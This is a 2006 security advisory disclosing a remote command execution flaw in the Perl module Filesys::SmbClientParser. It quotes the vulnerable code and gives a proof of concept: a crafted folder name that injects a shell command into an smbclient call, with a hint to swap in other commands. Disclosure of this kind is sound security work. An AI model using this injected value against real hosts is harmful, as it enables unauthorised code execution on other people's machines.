============================================INTERNET SECURITY AUDITORS ALERT 2006-006
- Original release date: February 28, 2006
- Last revised: July 18th, 2008
- Discovered by: Jesus Olmos Gonzalez
- Severity: 5/5
============================================
I. VULNERABILITY
-------------------------
SmbClientParser perl module allows remote command execution.

II. BACKGROUND
-------------------------
SmbClientParser is a useful perl module to writing Netbios interactive 
codes, is a wraper from linux smbclient command and can be downloaded 
from:
http://search.cpan.org/~alian/Filesys-SmbClientParser-2.7/SmbClientParser.pm 

or installed:
perl -MCPAN -e shell
install Filesys::SmbClientParser

III. DESCRIPTION
-------------------------
If a host scans your shared folder whith a tool that uses this module, 
you can execute shell commands in his host.

This module has the following snippet of code:

my @var = `$pargs`;

pargs it is parsed with the following poor filters:

  my $pargs;
   if ($args=~/^([^;]*)$/) { # no ';' nickel
     $pargs=$1;
   } elsif ($smbscript) { # ';' is allowed inside -c ' '
     if ($args=~/^([^;]* -c '[^']*'[^;]*)$/) {
       $pargs=$1;
     } else { # what that ?
       die("Why a ';' here ? => $args");
     }
   } else { die("Why a ';' here ? => $args"); }

If thereis a folder inside a shared folder with the following name:

' x && xterm &#

The perl will spawn an xterm :)
Note that this was reported at 2006 and no answer received, be 
carefoul with cpan modules.

IV. PROOF OF CONCEPT
-------------------------
This folder name inside the shared folder:

' x && xterm &#

Will execute the following:
/usr/bin/smbclient "//x.x.x.x/vulns" -U "user%pass"    -d0  -c 'cd "' 
x && xterm &#"'  -D "/poc"

This proof of concept spawns a xterm at vyctims xwindow, replace xterm 
for the evilcommands.
